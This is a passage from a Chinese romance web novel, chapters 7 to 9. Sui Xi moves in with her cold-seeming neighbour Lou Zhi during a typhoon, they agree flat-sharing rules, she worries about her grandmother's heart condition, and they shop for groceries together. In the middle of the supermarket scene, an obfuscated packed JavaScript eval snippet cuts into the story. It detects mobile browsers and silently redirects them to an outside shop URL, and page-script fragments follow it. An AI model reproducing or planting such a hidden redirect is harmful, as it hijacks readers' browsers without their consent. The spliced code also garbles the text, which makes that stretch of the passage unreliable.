《和冷脸帅哥合租后》 7. 你方便吗 07 / 楼峙朝屋内走去，又将大门敞开了些，他拿出鞋柜里的拖鞋放在随晞身前，“家里没有女拖。” “谢谢。” 看着楼峙把撕掉的标签扔掉后，随晞吸了吸鼻子，安静地换好了鞋，跟着他往屋子里走。 和隔壁不同，楼峙的这套房子更大了些。 整体是意式极简的装修风格，干净整洁，客厅的软装是黑灰色调，米灰色的地板，与同色系的柜子搭配，整个色系倒是和楼峙的穿搭很像。 随晞看了一圈，很快被岛台边放着的一个胡桃木玻璃柜吸引了，透过玻璃望去，里面有序放着咖啡豆。 “你也喜欢喝咖啡吗？” 随晞不自觉地走近，看到那些各国各地的咖啡豆，眼眸闪过讶异，小声感叹道，“家里居然还收藏了这么多豆子。” 楼峙动作一顿，很快又恢复如常，看着随晞略带不舍地收回视线，他微勾起唇，“嗯，要不然先给你做杯咖啡？” 随晞坐在最近的单人沙发上，侧头对站在岛台边的人说：“不用不用，温水就好，谢谢。” “你刚刚说的其他办法是什么？”楼峙倒完水递给随晞，在她的侧边坐下。 办法。 随晞握着玻璃杯的手紧了些，她微咬着下唇，略带含糊地开口，“打算......先去朋友家里住几天吧。” “你朋友她愿意吗？” “.....不知道，我等下联系一下。” 其实也没真的打算联系于杪，随晞想的是在酒店先住几晚，再去看看房子。 “随晞。” 听出人话语间的犹豫和停顿，楼峙也能猜得到这是随晞随意找了个理由拒绝自己，他将自己的杯子放到茶几上，身体微向后靠着坐。 “我这房子你看不上？” “不是。” 她太看得上了。 “那是觉得我这个人不行？” “当然没有。” 随晞抬眸看向右侧的男人，犹豫几秒，还是轻声答道，“楼峙，是我自己的问题。我可能不太适合和别人合租。” 楼峙顿了顿，很快能听懂她的言下之意，“之前和室友相处的不愉快？” “我的生活作息和你们不太一样，可能你们醒了我才刚睡，所以生活在一起多少都会有影响。” 随晞措辞了一会儿，刚要开口明确拒绝，包里的手机先响起，她对楼峙微露出歉意，将手机拿出来。 屏幕上显示还是那串熟悉的号码。 随晞皱了皱眉，本想着不理会，但又想到还有楼峙在，便没有犹豫地先把电话挂断了。 两人的对话被这通来电打断，楼峙看了眼她的动作，没有问她为什么不接电话，而是继续刚刚那个话题。 “你可以考虑一下我刚刚说的，如果愿意合租的话房租我再减一半，这是当作对你的补偿。你放心，合租的话，我也会制定、遵守好合租合约。” “如果不愿意，我这几天去外边住，你留下来住。等到台风过了再做打算。” 这样的坏天气，总不能让人出去住酒店或者没地方住。 即使他说的很详细，但随晞的眼底依然充满犹豫和迟疑。 楼峙想到之前段逍在自己耳边絮絮叨叨过的那些，也没让随晞立刻做决定，留了些时间给她思考。 “如果只是因为作息不同，你不用担心，我上班......” 男人话还没有说完，铃声再次响起，随晞低头看了眼屏幕，深吸了口气，指尖也不由得攥紧了些。 楼峙自然也看到了随晞对这通电话的反应，他没再继续说，自觉先走到房间里面，给人留了打电话的空间。 关门声响起，随晞才反应过来楼峙已经离开，她侧身看了眼那扇紧闭的门，闭了闭眼，起身朝客厅的落地窗边走近。 “我给你发的消息也不回，还敢挂我电话了啊。” “随晞，别以为到你那大城市就能撇开我们不管了......” 一听到程芳岚的声音，身体就开始有些不太舒服的反应，随晞靠在窗边，低着眼道，“你有什么事情直接说，我现在在忙。” 程芳岚那边又没了声音，随晞皱了皱眉，“你没什么事的话我先挂了。” “等等。” “早上你外婆说这几天经常胸闷气短，还想吐，我就带她去医院看了看。” 随晞眉心一跳，“外婆怎么了？” “医生说要住院检查，但上次不是刚检查完啊，都好好的，这不是浪费钱吗？” 程芳岚的语气带着些不耐烦，随晞皱了皱眉，“医生说要做什么检查？” “好像是要做什么心电图，还有其他一些乱七八糟的，老天爷，说是做一下要好几百。” “心电图？外婆是心脏不舒服吗？医生有说什么吗？” “我问了啊，她说就是最近这段时间才有，我估计着是太累了，老人家多少都会有点小毛病的。我就没让做。” “为什么不做？” 窗外一声闷雷声响起，随晞下意识一抖，而后往外边看去。天色昏沉，乌云像打翻了的墨汁晕染天空，雨也越下越大。 电话那头安静了下来，耳边只有微微的电流声，随晞单手搭着窗沿，保持理智，“你明天还是带着外婆去医院去把检查做了，听听医生怎么说。” “随晞，上次你外婆高血压，我可带她去医院看了啊，又不是不带她去。但再有钱也不是这么花的啊，更何况我们有没有那么多钱。” 随晞握紧了手机，喉咙发紧，眼底露出一丝不可置信，“医生都说建议要做检查了。程芳岚，这是钱的问题吗？” 程芳岚在那头支支吾吾地说，“我们这几年本来没有什么钱，要看的话你回来带你外婆去看。” 随晞哪能不清楚程芳岚这通电话打来的意思，她嘴角扯出自嘲的弧度，再出声情绪淡了些，“我这边最近台风天，回不去。先给你转一部分钱，你带着外婆去看，我过几天就会回去。” “行吧。那你记得转钱过来啊。”程芳岚装作迟疑地应了下来，随晞没再回她，安静挂掉了电话。 说到底，还是不愿意给松慧颖花钱看病。 听程芳岚刚刚那样说，外婆肯定已经不舒服好段时间了，忍不住才会和程芳岚说。她很快给松慧颖拨去电话，嘟嘟几声后，老人的声音在耳边响起。 “怎么啦，心心，吃饭了吗？” 松慧颖的声音听着虚弱，不似之前那样敞亮，随晞握紧了手机，出口也带着担心，“外婆，你这几天是不是不舒服？程芳岚如果不带你去看的话，我让隔壁阿姨带你去医院检查检查好吗？” “不用了心心，”松慧颖低咳了几声，“这段时间老去医院，确实也有点晦气。估计是累了，没事啊。外婆睡一下就好了的。” “外婆，你有不舒服的一定要及时去看医生，不要忍着，好不好。” “好，外婆知道的。你不用担心我，你妈要是找你要钱，你不要给她啊，多给自己买点好吃的。” 随晞眼睛泛了酸，应了声好。 通话结束，她揉了揉眼，打开自己的银行卡看了看余额，不算多，但如果外婆有什么事情还能作为急用。她想了想，先给程芳岚转过去了三千。 猫打呼噜：「你明天一定得带外婆去看，医生说要做什么检查就做，钱不够我会再发给你。」 随晞咬了咬唇，庆幸自己这几年还存了些钱。 最近这段时间外婆看病的费用基本都是她出了大头，要是之后还生病，估计也会是这样。 随晞的眼眸暗了下来，看来以后的每一笔钱，都得精打细算。 包括眼下的房租。 - 楼峙还在房间里没有出来，随晞平复好自己的情绪后，又理清自己的思路，没有再犹豫地朝主卧走去，她很快抬手敲了敲门。 几秒后，屋内的脚步声愈来愈近，楼峙打开了门，“打完了？” “嗯。” 她的眼尾有些湿润，鼻头也是红的，屋子隔音虽然好，但她的声音还是有一些传到了屋内，只不过听不清内容。 楼峙不知道是谁打来的电话，但能看出随晞现在魂不守舍，是在强撑着和他交流。 “怎么，你打算就一直这样站我房间门口了？” “......没有。” “去沙发那边吧。” 两人一前一后回到客厅，随晞搭在腿上的手不自觉握紧，出口声音带着些哑，“楼峙，你刚刚说如果我们合租的话，房租可以再减一半是吗？” “是。这也是当作对你的补偿。” “好，那我们可以再签一份合同 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楼峙微冷的脸也松了些，他本已经做好了这几天回家的打算，眼下随晞却又答应合租。她的神情恹恹，估计是刚刚那通电话的原因，楼峙没有再多问，点头朝房里走去。 随晞看了眼回江榆的车票，意料之中，这几天因为台风的原因，列车都停运了。她对程芳岚并不放心，于是又发去了消息。 猫打呼噜：「你约好医生了吗？」 程芳岚打字很慢，所以直接发来了语音，“约好了约好了，你急什么，我还会不带她去看吗？” 随晞抿着唇，删删减减，最后没有回复。 楼峙很快就拿出打好的合同出来，和她一起填写，两人把自己那份签完字后，交换了一下。 “等那边房子修好你可以搬回去，也可以自己再找，都没问题。” 随晞犹豫了一会儿，“楼峙，我知道这个请求有点不好，但是我想问问可以先一月一付吗？你放心，我不是要拖欠......” 楼峙没怎么考虑就答应了下来，“随你。” “谢谢你，楼峙。” “先看看选哪间房。” 随晞看了两间次卧的位置，特意选了离楼峙房间远一点的那间，她指了指，“这间吧。” 楼峙点了点头，帮忙着把随晞的行李都搬进房间里，随晞搬不动大件，就拉着几个行李箱进去。虽然是次卧，但房间却和段逍家的主卧差不多大。 “那你先自己收拾，迟点再讨论合租合约。” “好。” - 搬家最讨厌的，就是刚收纳起来的东西再一次被理出来。 屋子的东西摆了一大半，随晞将被子铺好后，看了眼时间，眼下已经到了饭点，但一天折腾下来，她也真的没什么胃口。 打开外卖软件看，才发现这边不算市中心，所以连随便一家粥铺的外卖都要一个小时左右，随晞叹了口气，正想着该怎么解决晚饭时，房门被敲响。 “来了。” 随晞将手机丢在被子上，拖上拖鞋把房门打开。 男人单插着兜站在几步之外，随晞扶着门把手，“怎么了？” “你有什么忌口吗？” 随晞很快反应过来，摆了摆手道：“啊，你是要做饭吗？不用这么麻烦，我点外卖就好了。” 楼峙语速悠悠，“我不喜欢在家里闻到垃圾食品的味道。” “......我点粥可以吗？” “现在已经六点了，等你外卖到了差不多七点，小区不让外卖员送来，你得自己下去拿。这样一折腾，我估计已经把碗洗完了。” “......” 随晞知道楼峙说得并没有夸张，加上她也没什么力气想去小区门口拿外卖了，所以迟疑了一会儿还是答应了下来，“那麻烦你了，你烧什么都可以。” 楼峙点了点头，“行。” “我等下出来帮忙。” “用不着，先把你自己的东西理好。” 男人没多说，很快就朝厨房走去。随晞看了眼自己还有一箱子没理出来，也就没有逞强去帮忙。 随晞叹了口气，继续理着衣服。 过了几分钟，门外响起脚步声。门本就没有关紧，所以楼峙敲了门后就直接开口道：“随晞，段逍说要过来一起吃，你介意吗？” 8. 合租合约 08 / 随晞朝门外应道，“没事的，你们不用管我。” 男人安静了几秒，又沉沉开口，“随晞，我们现在是在合租。” 随晞很快便明白楼峙的意思，双耳有些热，她放下手里的东西走到门边，对上楼峙的双眸，“抱歉。我不介意的，叫段逍来一起吃吧。” 她本来就想谢谢段逍的帮忙，即使这次他没来，之后有时间她还是会请人吃顿饭的。 “行，那我看着烧几个菜。” “好，辛苦你了。” 随晞礼貌道谢完后，便准备回去继续理房间，但楼峙没走几步又返回来，“有什么不吃的吗？葱香菜大蒜辣椒。” “我，我都吃的。”随晞眨了眨眼，很快掩下双眸，轻声答。 “行。” 楼峙没再多说，将兜里的手机拿出来，大概是给段逍回消息。随晞看着他走远，又将门关了一半，继续理着自己的东西。 段逍过来已经是半小时后了，他一进门，屋内就全是他的声音。 “楼峙啊楼峙，有生之年我居然还能在你家吃饭。” “今天太阳是从西边出来了吗?” “让我看看烧了什么好吃的......我靠！你烧这么多吃得完吗？” 没过几秒，楼峙皱着眉冷声道：“外面雷都没你震得厉害。嘴巴不是来吃饭的，可以先滚回去。” 段逍早就习惯了这人嘴里说不出来什么好话，他看了一圈，没见到屋内第三个人的影子，“随晞呢？你不是说搬过来了？还没搬啊。” “在屋里。”楼峙看了眼一进门就四处探头的人，手里的动作微微一顿，简短回。 ... 随晞这边已经收拾好了，段逍来时，门掩着，听不清具体内容。 她只听到一阵很杂乱的交谈声，声音很响，随晞的身体下意识紧绷，她靠在床边屏住呼吸，紧拉着衣角，眉眼间有些不安。 但更多的画面还未从脑里展开，段逍的声音先由远及近传来，“随晞？你理好了吗？出来吃饭了！” 随晞迟钝地合上行李箱，还没来得及应声，在外边的楼峙就先一步开口，“家里没聋子，你喊人能不能轻点。” “......哦。” 两人的拌嘴从半开的门传入房间，原来不是吵架。 随晞松了口气，淡淡轻笑，她弯唇出了房间，和迎面走来的段逍打了声招呼。 “随晞，你在这间啊。我妹妹说很喜欢你送的那个杯子，让我谢谢你。” “不用客气，她准备搬去了吗？” “对啊，她住不惯酒店，听说房子空出来了就赶紧找人打扫了。” 屋内飘着饭菜香，随晞的胃口被勾起，两人边聊着边向餐桌走去。 楼峙正将身上的围裙摘掉，里边黑色的T恤贴着身子，身材一览无余，随晞草草看了一眼，很快低头就近坐下。 四菜一汤整齐摆着，米饭也盛好了。 香菜炒牛肉、红烧茄子、番茄肥牛炖虾滑、清炒娃娃菜还有冬瓜玉米排骨汤。色香味俱全。 “随晞啊，告诉你啊，楼峙虽然嘴毒，但做饭一流，你现在和他合租就多多让他做饭，吃一顿赚一顿。” 随晞下意识地看向楼峙，男人扫了一眼段逍，又起身多拿了几个碗出来，“盛汤。” 她接过，淡淡扬起笑道：“谢谢。” 这几样菜不是重口味，还有点像江榆那边的口味，随晞已经许久没有吃到过这样的家常菜了，本来是没有什么胃口，但眼下却难得多吃了一些。 “好吃不，随晞。”段逍给自己盛了碗汤，懒懒靠在椅背上。 随晞抬眼看着对面的楼峙，男人安静地夹着菜，没往她这看，“嗯，很好吃。感觉有点像江榆菜。” “哦对，我好像没和你说过吧。楼峙也是江榆人，高中的时候就在我们楼上，所以我们几个口味倒是真差不多。” 随晞夹菜的动作微微一顿，“这么巧。” “对啊，说真的，好久都没有回江榆了，找个时间约于杪约一下回去看看。” 随晞扯出一抹笑，提起江榆，她又想起中午的那通电话，情绪瞬间低落下来。 也不知道外婆现在怎么样了。 段逍见人没回应，又很快换了个话题聊，楼峙抬眼看了对面安静吃饭的人，双眼盯在某一处发着愣，不知道在想什么。 桌下，他踢了踢段逍的小腿，提醒道：“你不想吃就早点回去。” “行行行，我不讲话了。” 没了段逍的滔滔不绝，饭桌顿时安静下来，随晞的瞳孔重新聚焦，回过神来默默低头吃饭。 菜很合口味，但有两样菜是加了葱的，随晞没夹过，其他的吃了很多。 她的胃口一直不算好，楼峙盛的饭比平时她自己吃的多了一半。她只能硬逼着自己把碗里的饭吃了三分之二，但最后一团实在吃不动了。 胃很撑，她抬眼看了眼楼峙和段逍以及还没有光盘的菜，又不太好意思起身去倒掉。正要伸手去夹茄子时，楼峙先起了身，“我吃饱了，你们继续。” 男人拿起碗筷走到厨房，留下段逍和随晞对视，有了楼峙开头，随晞也没了顾虑，她很快朝段逍扬了抹笑，“那个段逍，我也吃得差不多了，你继续吃。” “怎么回事啊，一个两个的。” “这不是还有菜吗？浪费！” 段逍看了眼桌上的菜，小声地吐槽了几句，继续又盛了碗饭。 ... 段逍还没有离开，随晞也不好先回房间里去，她站在窗外，看着暴雨中的城市。大雨如注，雨点和狂风交织在一起，视线里只剩下朦胧的薄雾。 雨声中，随晞感觉到动静，侧过头去，楼峙不知什么时候站在了她身边，两人对视上。 因为离得近，随晞能看到男人根根分明的睫毛，右眼皮上方还缀着一颗浅浅的痣。她很快反应过来，扬起笑，压去心里莫名的紧张感，“楼峙，谢谢你的晚饭，很好吃。” “不用。等段逍走了，定一下合租合约？” “好。” 男人点了点头，转身离开，没再打扰她的发呆。 像是只是为让她提前想一想，等下有什么需要提出来的条约内容。 楼峙重新坐回到餐桌，随晞则是坐在靠窗边的沙发上，边想边在备忘录里记下几点。 / 这边。 楼峙倒了杯水在餐桌上坐下。 “说说吧，怎么回事啊。”段逍朝着对面的人挑起眉，带了点意味不明的眼神。 “说什么？” “明知故问。认识你这么久，我还不知道你楼峙是什么人吗？听到我都吓一跳，随晞怎么能和你合租啊，想想都可怕。” 楼峙搭在玻璃杯上的手指轻轻一敲，慢条斯理地开口，“我什么人？总比某些不负责任的房东好。” “喂，我那是不负责任吗？我那是没办法。”段逍看了眼沙发上的人，微微压低了些声音。 “你隔壁那房子真不能住人了？” “要不然你去住？我还没重装。” “我可没那兴趣。不过人家女生和你合租，你平时就别臭着张脸，搞得随晞等下都不敢说话了。” 楼峙皱了皱眉，大概是嘴角向下的缘故，所以只要他脸上没什么表情就显得像是在冷脸，特别是在做事情的时候会显得更加严肃。 “段逍。” “干嘛？”段逍眯起眼睛，看着楼峙，“你怎么这副表情。” “她，就是你喜欢的人？” 楼峙开口有些迟疑，段逍反应了几秒，才明白楼峙说的是谁，他带着一丝讶异，又很快摇了摇头，“你是说随晞？不是啊。” 楼峙向来对这种事情不感兴趣，他也不会和自己聊这些，串联了一下事情，段逍八卦道，“怎么，你和随晞合租的原因难不成还是因为我啊。” “不是。” 楼峙也听出了段逍的意思，他很快勾了勾唇，收回刚才的表情，气定神闲地举起玻璃杯，“你面子有这么大？” “......” “行了，吃完就早点走，别等着雨大回不去赖在这里。”楼峙没再多问，反正他想知道的已经有了答案。 段逍喝完最后一口汤，“那我等下就不帮忙整理了，你和随晞收拾吧啊。”< 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楼峙很快也拿出自己的电脑，坐到随晞的侧边。淡淡的青柠香在周围散开，随晞抬眼，礼貌问道：“楼峙，你这边有什么我需要特别注意的吗？” “我没有和人合租过，所以有什么需要注意的，你先都提出来。” 随晞点了点头，先和楼峙举了几个最基础的，“那先说作息吧，我一般最迟是凌晨三四点睡觉，然后十一二点起来，但大部分时间会在三点前睡的，你呢？” 楼峙手搭在电脑旁，眉眼间带着讶异，但很有分寸的没多说，“早上六点，晚上十一点。” “我一般早上八点半上班，五点半下班，上班时间不会回家。” 随晞没想到自己会和楼峙的作息差这么多，她顿了顿，提出自己的想法，“那我们在对方睡觉的时候尽量安静一些，早上十一点之后到晚上十一点可以正常活动，这样可以吗？” “行。” “然后是公共区域物品摆放的问题。比如厨房、卫生间，你有什么建议？”见楼峙答应的很爽快，随晞便继续看了眼自己的备忘录草稿，接着说道。 “家里冰箱有三层，最上面一层给我，中间那层给你，底下那层可以放一起用的。我主卧有卫生间，没有特殊情况不会去外面的，你也一样。洗衣机用完了及时晾晒，不要拖着不晾。” 楼峙顺着她有条理地说了下来，随晞点点头，“好，这些没问题。对了，还有公共区域的卫生打扫问题，我的想法是轮着来，房间的话就自己打扫，然后一个月或者半个月大扫除一次？” “两个星期一次。” “好。” ...... 一条一条聊下来，楼峙大多只会说行或者补充几句，随晞将备忘录的最后一条后说完后，问道侧边的人，“楼峙，你这边有没有需要补充的？” 楼峙已经把合租合约的内容以word的形式整理了出来，他看完所有，“除了你刚刚说的那些之外，我这边再补充三条。” “第一，保持适当距离，不准擅自进对方房间。” “第二，没有经过对方允许，不能带人留宿。” “第三，平时要注意卫生，别把屋子搞脏。” 这三点都不是什么难事，随晞自然没什么意见，“好。” ... 两人对着看了一遍，都没补充后，楼峙就将合约打印出来贴在了客厅的柜子边，白纸黑字，醒目清晰。 窗外的雨势越来越大，台风已经慢慢在逼近，楼峙瞥见此刻有些欲言又止的人，挑了挑眉：“还想说什么？” 随晞是在思考未来几天自己的三餐该如何解决，眼下几天都是雨，台风天肯定不能叫外卖，那只能自己烧饭，但是今天刚搬来也没有时间去买点菜。 她把目光落在不远处的男人身上，“噢，我是想问问，这附近有超市吗？我需要买些菜和生活用品。” 楼峙摘下黑框眼镜，揉了揉眉头，“明天有事吗？” “没有，怎么了？”随晞抬眸看向他，露出淡淡的疑惑。 “趁着台风还没来，去超市一趟。” 9. 小猫可爱 09 / 黑幕之中，已不见月色。 随晞将屋内窗帘拉上，疲惫地躺倒在小沙发上点开手机，本想打电话给松慧颖再聊聊，但眼下这个点老人家肯定已经睡去。 她关掉通讯录，轻叹了一口气。 一切还是都等明天程芳岚去了医院再说。 窗外闷雷声不断，随晞闭眼躺了一会儿，又起身坐到桌子面前。 这周的更新已经画完，随晞怕后面要再去江榆来不及画，所以这几天要接着赶画新的一话。看了眼闹钟，眼下已经到了楼峙休息的时间了，她没忘记要放轻动作。 梳理完下一章节的内容后，随晞感到有些口渴，于是打开房门，蹑手蹑脚地走出房间，打算去倒杯水喝。 屋子没有开灯，漆黑一片，她点开手机的手电筒，慢慢移步至厨房。 好在楼峙家里的饮水器是保温的，随晞也不用怕再烧开水弄出什么大动静，她将手机反面放到岛台上，小心翼翼地倒了半杯水。 温水入喉，一道微哑的声音在耳边响起。 “黑着灯做什么。” 口中的水没来得及吞下，随晞猝不及防被吓一跳，自然被呛到。她边连身咳嗽边放下杯子，拍了拍自己的胸口。 只听见“啪”的一声，室内一瞬间变亮，只不过灯光太过刺眼，一时间没有适应，随晞下意识地将手抬起来盖住眼睛。 “没事吧。”男人的脚步声近了。 “没事，咳咳，没事。” “家里不用省电费。”耳边又出现楼峙的声音，随晞眯了眯眼，侧过身看去。 男人已经洗过澡换上了睡衣，头发微湿，贴在额头。他又戴上了那副黑色半框眼镜，深蓝色的真丝睡衣穿在身上，慵懒又松弛，减去了白天那股生人勿进的疏离感。 随晞突然忘了开口，直到男人走近，淡淡的柠檬香在鼻尖散开，她才低着声解释道，“噢。现在不是已经到你的睡觉时间了吗？我是怕影响到你睡觉。” 耳边传来一道轻笑，“随晞，我不是机器人。” 倒也不会真的卡点入睡。 随晞抬眸，楼峙勾着唇，那双眼睛似笑非笑地看着她，“下次出来记得开灯，我睡了没那么容易醒。” 这好像是她第一次看到楼峙笑。那双桃花眼笑起来眼尾往上勾，莫名有些蛊惑。 随晞不由得愣了几秒，点点头，“好。” 楼峙很快走进厨房去，拿出一瓶冰水。 这么大晚上还喝冰的，随晞下意识地抱上自己的手臂，看着他礼貌道声，“那我就先回房了。晚安。” “嗯。” 楼峙没有多说，随晞也加快步伐回到了房间里。 关上门后，她拍了拍胸口，轻呼出一口气。 下次半夜还是少出房门吧。 … 忍着困意把新一话的草稿打完，随晞才终于允许自己关掉电脑，躺回到床上睡觉。但可能是因为刚搬到这里，加上有些认床，所以她入睡时间比平时要晚了很多。 “嗡嗡嗡。” 手机在床头柜上振动，发出扰人的声响。床上的人微微皱起眉，转了个身将脑袋埋进被子里，丝毫没有要睁眼的动作。 不知道是第几次的振动声，随晞终于被恼到伸手往床头柜上摸。困倦中，她不情愿地睁开眼，那双眸此刻泛着水汽，像被洗净的棕色玻璃珠。 窗帘并不是百分百遮光的面料，斑斑驳驳透着些光进来。随晞揉了揉太阳穴，适应了一会儿房间亮度，才看向屏幕。 是程芳岚。 困倦在此刻被赶走得一干二净。 她看了眼右上角的时间，已经是下午一点。 搬到新家的第一晚，睡得不算沉，早上依稀有听到厨房的动静，但她睁不开眼，又昏昏沉沉地睡去，没想到一直睡到现在。 “喂。” 开口的声音带着哑意，随晞低咳了一声，继续说道，“医生看完了吗？怎么说？” 程芳岚那头有些吵，随晞开了免提，“医生怀疑是冠心病，好像是有点严重了，你看看你什么时候过来啊？医生说可能还要住院做个检查确定一下。” 随晞多少知道些这个病，她的眼眸暗了暗，“我等台风差不多结束了过去，医生说做什么你就带外婆去做，不用担心钱的问题，外婆有没有很不舒服？” “行吧。她就昨天不舒服了一会儿，医生说目前没有什么不舒服的话，迟几天做检查也是可以的，那就等你回来再做吧。” “外婆真的没有不舒服吗？” “哎呀，都说了没有。” “那我台风一结束就回去。你这几天多多下去看外婆吧，烧得也清淡些，她现在肯定......” “我用你说啊。”程芳岚很快打断她的话，在那头敷衍道，“好了好了，我要给俊州开家长会去了，先挂了。” 耳边变得安静，随晞垂眼，直到肚子发出咕噜声，她想起来昨晚回房前和楼峙约好晚上要去超市一趟，便也没再赖床。 走出房间，屋子很安静，楼峙的房门半敞开着，大概早就去上班了。随晞没有走近看，而是走到次卫去洗漱。 洗漱台上摆着她昨天刚放上去的牙刷牙杯，还有洗脸巾。其余的护肤品则是被她放进一旁的小柜子里，这样看着不显乱。 昨天定合约的时候，随晞注意到楼峙对卫生方面的问题特别注意。 她猜，他大概轻微有些洁癖。 于是洗漱完之后，随晞没忘记又将洗手台擦了一遍。 - 中午工作了一会儿，天色渐渐暗下来，快到了昨天和楼峙约好的点，随晞提早换好了衣服。 今天有些降温，她在白色小衫外套了件黑色针织衫，底下是配套的半身裙。 楼峙：「五分钟后，负二楼地下车库等我。」 猫打呼噜：「好。」 回复好消息后，随晞很快地拿好包包，坐电梯到了负二层。 她还是第一次到车库来，声控灯亮起，四周安静，没有开着车灯的车，随晞只好在原地小转着圈等着楼峙过来。 昨晚本来是打算问到超市自己去，没想到楼峙说台风天他也要去超市囤物，于是变成了他开车带她去。 不知过了多久，远处传来车轮驶过的声音，随晞停下转圈的动作，侧过身去看去，一辆黑色大G慢慢在她身前停下。 因为楼峙没有说车牌号，随晞不知道是不是这辆车，她带着些迟疑往窗户里看，副驾驶的车窗同时慢慢被降下来，瞧见车里的人，这才放心打开副驾驶的门。 身上淡淡的栀子花香随风钻进车内，与原有的木质香混合，楼峙侧过头看了她一眼。 女生将头发随意扎成了丸子，碎发落在两侧，脸上没有化妆却仍白皙，楼峙不禁想起家里母亲封以菱最钟爱的那件瓷器，细腻莹润。 而此刻的随晞，也是。 随晞很快系好了安全带，身旁人迟迟没有动静，她抬眸，楼峙正将视线落在她脸上，随晞下意识地摸了摸脸颊，迟疑道：“怎么了？” 楼峙收回思绪，低咳一声，“没。” 密闭又狭小的空间内，随晞也有些不自在地靠在椅背上，随口扯了个话题，“超市离得远吗？” “十几分钟。” 随晞点了点头，没再硬找话聊。 楼峙也自然收回视线，打着方向盘，向超市驶去。 车里便这样陷入安静，随晞没有和异性常接触的经验，加上楼峙微冷着脸，所以这短暂的安静带给她一些不适应和尴尬。 她拉了拉衣服，拿出手机，又开始查关于老人冠心病的治疗方案。 / 傍晚雨不大，就是路有些堵，大概二十几分钟后，两人到达。超市里早就人满为患，不少人还推着两辆购物车。 “用一辆车？” 楼峙很快推了辆购物车来，随晞点了点头，“好，到时候结账完我会把发票拿着的。” 超市很大，几乎什么品种的菜和水果都有，随晞跟着楼峙慢慢从头逛，买了一些生活用品。 原以为，两人一起买，车子很快就会被塞满，但逛了一半，随晞才发现楼峙没拿几样东西，购物车倒是一直在推着。 到了蔬菜区，两人默契地各选各的菜，约好到时候在蔬菜装袋的地方碰头。 随晞喜欢做饭，所以平常也会看一些做饭博主，研究一下新菜品。但眼下因为台风天的关系，菜都要靠抢，自然有什么买什么。 她正选着菠菜，耳边传来一阵大妈的聊天声，紧接着身子被人撞了一下，随晞重心不稳，但她很快拉住架子边才不至于让人推倒。 人站稳后抬眼看去，是几个阿姨，占了她原来的位置在那挑挑拣拣。随晞抿了抿唇，拿着塑料袋重新站回原位，倒没说话。 “诶我说你这小姑娘，没看见我们在这选啊，挤什么？” “？” 随晞一怔，却不想理会，只是默默在边上继续选着菠菜，原本整齐的菜被这些人挑的乱七八糟，她皱了皱眉，选出几个还算完整的菜。 “哎哟喂，现在的年轻人真是不知道尊老爱幼。” “就是啊，本来就这么点大的位置还在这挤。” 见随晞没什么表示，离她最近的两位又开始大声讨论，随晞皱了皱眉，拿着装好菜的袋子朝人冷声反驳。 “一开始好像是我先站在这里的吧，而且全程下来我没有主动碰过您啊。眼睛有小毛病的话还是让家里人带您去医院检查一下吧。” 女生长得乖软，性格倒好像不算。那两位阿姨许是没料到，有些恼羞成怒，抬手朝随晞指点道：“诶我说......” “说什么呢？” 话还没说完，被身后一道带着冷意的话打断，音量不高但足够清晰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17025850|194395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随晞转过身去，楼峙正推着车来，他神色冷峻，双眸也没了什么温度。紧接着，他很快把她挡在身后，视线之中，只剩下男人高大挺拔的背影。 不知为何，明明是还不太熟悉的室友，但看见楼峙，她的心绪却莫名平复了下来。 这好像也是第一次，有人站在她身前。 两位看见男人冷着的脸，顿时没了声，灰头土脸地推着离开，“走吧走吧，真是倒霉......” 周围微微安静了下来，楼峙转身看了看随晞，“没事吧？” 她很快吐了口气，摇了摇头，“没事，谢谢。” “这附近有旧小区还没有拆迁，所以年龄大的人也会来这里买东西。” “现在人太多了，一起吧。” 还没等随晞应声，楼峙就已经将她手里的菜都放进购物车里，推着向另一边蔬菜架走去。 随晞看着突然空了的手，眼睫扑朔。 ... 挑挑选选加上人又不少，等两人提着购物袋出来已经是一个半小时后了。 “那个，我等下回家把我那部分的钱转给你。”随晞刚要伸手去帮忙提一袋，楼峙已经轻松将台上的三个大袋子都拿上了。 走进地下车库，楼峙将袋子都放在了车后备箱，他低头看了眼腕表，已经饭点了，“你回家吃还是在外面吃？” 随晞注意到刚在超市时他的电话响起来好几次，猜测他大概是有约，“我回去自己烧吧，你有约的话我打车先把东西带回去。” “不急，先一起回去。” 下雨天提着东西也并不好打车，随晞点了点头，也没推辞，跟着坐上了车。 楼峙开车很稳，和过来时一样，回程的路上两人也一直安静着，没有人主动开口聊天。只不过因为超市的小插曲，尴尬感悄然消失。 随晞侧头看着车窗外倒退的景，紧绷的身体也放松下来，因为昨天没睡几个小时，听着雨声，她渐渐生起了困意。 雨刮器保持稳定频率地滑动，等红绿灯的间隙，楼峙侧过脸往副驾驶看去，随晞此刻已经闭眼靠在窗户上，不知道是不是真的睡去了。 手机在换挡处振动，他很快收回视线，不动声色地把电话挂掉，顺带回了条消息。 直到车子平稳停在地下室，随晞才缓缓转醒。她抬眼看了眼外边，也终于清醒过来，自己是在车里睡着了。 “还想在车里睡？” “啊，没有。” 楼峙解开安全带，看着人不由得轻轻勾唇，他先下车将购物袋都拿了出来，“我不上去了，先提到电梯边。” 随晞麻溜地下了车，跟着拿起一袋，“好，没事，我也可以一袋袋拿的。” 楼峙还是帮忙提到了电梯里，随晞点下电梯键，正想与楼峙打声招呼时，人家已经转身走了。 - 楼峙晚上要和家里人一起吃饭。 是楼湛儿子的周岁宴，只不过因为台风，没有去酒店办，而是回了楼家带着两家人父母一起吃顿饭。 楼峙本来不想去，但封以菱从前几天就打电话来催着说要他回去，不然过几天就要去家里找他。楼峙还没和她说自己现在和一个女生合租，只好应下。 车开到楼家大门，楼湛的电话打来，楼峙单手关上车门，开伞朝屋里走去。 “门口了，让妈别催了。” “行，都等着你呢。” 刚走到门口，封以菱就从里头出来，她接过楼峙手上的伞，“总算来了，我们都等你好一会儿了。先去坐着吧，你爸工作上还有点事情。” 楼峙扶着封以菱走进门，大家的视线都落在他身上，他一一打过招呼，“叔叔阿姨，嫂子，不好意思，路上有点堵，来晚了。” 